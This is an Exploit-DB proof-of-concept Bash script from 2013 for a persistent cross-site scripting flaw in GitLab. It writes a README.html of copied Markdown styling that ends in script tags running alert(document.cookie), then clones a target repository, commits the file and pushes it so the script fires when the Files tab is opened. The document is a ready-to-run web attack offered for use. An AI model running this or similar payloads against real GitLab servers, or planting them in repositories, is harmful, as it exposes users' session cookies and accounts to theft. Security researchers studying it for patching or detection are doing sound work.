267 lines
No EOL
4 KiB
Bash
Executable file
267 lines
No EOL
4 KiB
Bash
Executable file
##Exploit-DB note: Tested commit 10b0b8f1797e6c09b4c063c04a4864ecd31d34f4
|
||
|
||
# Exploit Title: [gitlab persistent xss exploit]
|
||
# Date: [12/16/2013]
|
||
# Exploit Author: [hellok]
|
||
# Vendor Homepage: gitlab.org
|
||
|
||
|
||
#!/bin/sh
|
||
#author hellok
|
||
#for file format ext pwn for gitlab 12/16/2013
|
||
|
||
|
||
tee README.html > /dev/null <<'EOF'
|
||
<!-- Markdown Source -->
|
||
<!--
|
||
-->
|
||
<html>
|
||
<head>
|
||
<title>README. [Generated]</title>
|
||
<style>
|
||
|
||
/* Taken from QLMarkdown: https://github.com/toland/qlmarkdown */
|
||
/* Extracted and interpreted from adcstyle.css and frameset_styles.css */
|
||
|
||
/* body */
|
||
body {
|
||
margin: 20px 40px;
|
||
background-color: #fff;
|
||
color: #000;
|
||
font: 13px "Myriad Pro", "Lucida Grande", Lucida, Verdana, sans-serif;
|
||
}
|
||
|
||
/* links */
|
||
a:link {
|
||
color: #00f;
|
||
text-decoration: none;
|
||
}
|
||
|
||
a:visited {
|
||
color: #00a;
|
||
text-decoration: none;
|
||
}
|
||
|
||
a:hover {
|
||
color: #f60;
|
||
text-decoration: underline;
|
||
}
|
||
|
||
a:active {
|
||
color: #f60;
|
||
text-decoration: underline;
|
||
}
|
||
|
||
|
||
/* html tags */
|
||
|
||
/* Work around IE/Win code size bug - courtesy Jesper, waffle.wootest.net */
|
||
|
||
* html code {
|
||
font-size: 101%;
|
||
}
|
||
|
||
* html pre {
|
||
font-size: 101%;
|
||
}
|
||
|
||
/* code */
|
||
|
||
pre, code {
|
||
font-size: 11px; font-family: monaco, courier, consolas, monospace;
|
||
}
|
||
|
||
pre {
|
||
margin-top: 5px;
|
||
margin-bottom: 10px;
|
||
border: 1px solid #c7cfd5;
|
||
background: #f1f5f9;
|
||
margin: 20px 0;
|
||
padding: 8px;
|
||
text-align: left;
|
||
}
|
||
|
||
hr {
|
||
color: #919699;
|
||
size: 1;
|
||
width: 100%;
|
||
noshade: "noshade"
|
||
}
|
||
|
||
/* headers */
|
||
|
||
|
||
h1, h2, h3, h4, h5, h6 {
|
||
font-family: "Myriad Pro", "Lucida Grande", Lucida, Verdana, sans-serif;
|
||
font-weight: bold;
|
||
}
|
||
|
||
h1 {
|
||
margin-top: 1em;
|
||
margin-bottom: 25px;
|
||
color: #000;
|
||
font-weight: bold;
|
||
font-size: 30px;
|
||
}
|
||
h2 {
|
||
margin-top: 2.5em;
|
||
font-size: 24px;
|
||
color: #000;
|
||
padding-bottom: 2px;
|
||
border-bottom: 1px solid #919699;
|
||
}
|
||
h3 {
|
||
margin-top: 2em;
|
||
margin-bottom: .5em;
|
||
font-size: 17px;
|
||
color: #000;
|
||
}
|
||
h4 {
|
||
margin-top: 2em;
|
||
margin-bottom: .5em;
|
||
font-size: 15px;
|
||
color: #000;
|
||
}
|
||
h5 {
|
||
margin-top: 20px;
|
||
margin-bottom: .5em;
|
||
padding: 0;
|
||
font-size: 13px;
|
||
color: #000;
|
||
}
|
||
|
||
h6 {
|
||
margin-top: 20px;
|
||
margin-bottom: .5em;
|
||
padding: 0;
|
||
font-size: 11px;
|
||
color: #000;
|
||
}
|
||
|
||
p {
|
||
margin-top: 0px;
|
||
margin-bottom: 10px;
|
||
}
|
||
|
||
/* lists */
|
||
|
||
ul {
|
||
list-style: square outside;
|
||
margin: 0 0 0 30px;
|
||
padding: 0 0 12px 6px;
|
||
}
|
||
|
||
li {
|
||
margin-top: 7px;
|
||
}
|
||
|
||
ol {
|
||
list-style-type: decimal;
|
||
list-style-position: outside;
|
||
margin: 0 0 0 30px;
|
||
padding: 0 0 12px 6px;
|
||
}
|
||
|
||
ol ol {
|
||
list-style-type: lower-alpha;
|
||
list-style-position: outside;
|
||
margin: 7px 0 0 30px;
|
||
padding: 0 0 0 10px;
|
||
}
|
||
|
||
ul ul {
|
||
margin-left: 40px;
|
||
padding: 0 0 0 6px;
|
||
}
|
||
|
||
li>p { display: inline }
|
||
li>p+p { display: block }
|
||
li>a+p { display: block }
|
||
|
||
|
||
/* table */
|
||
|
||
table {
|
||
border-top: 1px solid #919699;
|
||
border-left: 1px solid #919699;
|
||
border-spacing: 0;
|
||
}
|
||
|
||
table th {
|
||
padding: 4px 8px 4px 8px;
|
||
background: #E2E2E2;
|
||
font-size: 12px;
|
||
border-bottom: 1px solid #919699;
|
||
border-right: 1px solid #919699;
|
||
}
|
||
table th p {
|
||
font-weight: bold;
|
||
margin-bottom: 0px;
|
||
}
|
||
|
||
table td {
|
||
padding: 8px;
|
||
font-size: 12px;
|
||
vertical-align: top;
|
||
border-bottom: 1px solid #919699;
|
||
border-right: 1px solid #919699;
|
||
}
|
||
table td p {
|
||
margin-bottom: 0px;
|
||
}
|
||
table td p + p {
|
||
margin-top: 5px;
|
||
}
|
||
table td p + p + p {
|
||
margin-top: 5px;
|
||
}
|
||
|
||
/* forms */
|
||
|
||
form {
|
||
margin: 0;
|
||
}
|
||
|
||
button {
|
||
margin: 3px 0 10px 0;
|
||
}
|
||
input {
|
||
vertical-align: middle;
|
||
padding: 0;
|
||
margin: 0 0 5px 0;
|
||
}
|
||
|
||
select {
|
||
vertical-align: middle;
|
||
padding: 0;
|
||
margin: 0 0 3px 0;
|
||
}
|
||
|
||
textarea {
|
||
margin: 0 0 10px 0;
|
||
width: 100%;
|
||
}
|
||
</style>
|
||
</head>
|
||
<body>
|
||
<b>README.</b> - Generated on <b>2013年12月 16日 星期日 16时50分57秒 CST</b> by <b>hellok</b> using <a href="">Markdown</a>. Source is embedded.
|
||
<hr>
|
||
|
||
</body>
|
||
<script>alert(/pwned by hellok,fresh cookie/)</script>
|
||
<script>alert(document.cookie)</script>
|
||
</html>
|
||
EOF
|
||
|
||
|
||
USAGE="$0: <git url>"
|
||
if [ $# -lt 1 ]; then echo -e "Error: git url is required.\n$USAGE" >&2; exit 1; fi
|
||
echo "pwn start"
|
||
git clone $1
|
||
echo $(basename $1 | awk -F "." '{ print $1 }')
|
||
cp README.html $(basename $1 | awk -F "." '{ print $1 "/"}')
|
||
cd $(basename $1 | awk -F "." '{ print $1 }')
|
||
git add *
|
||
git commit -m "1"
|
||
git push
|
||
echo "DONE! Open your gitlab's Files TAB" |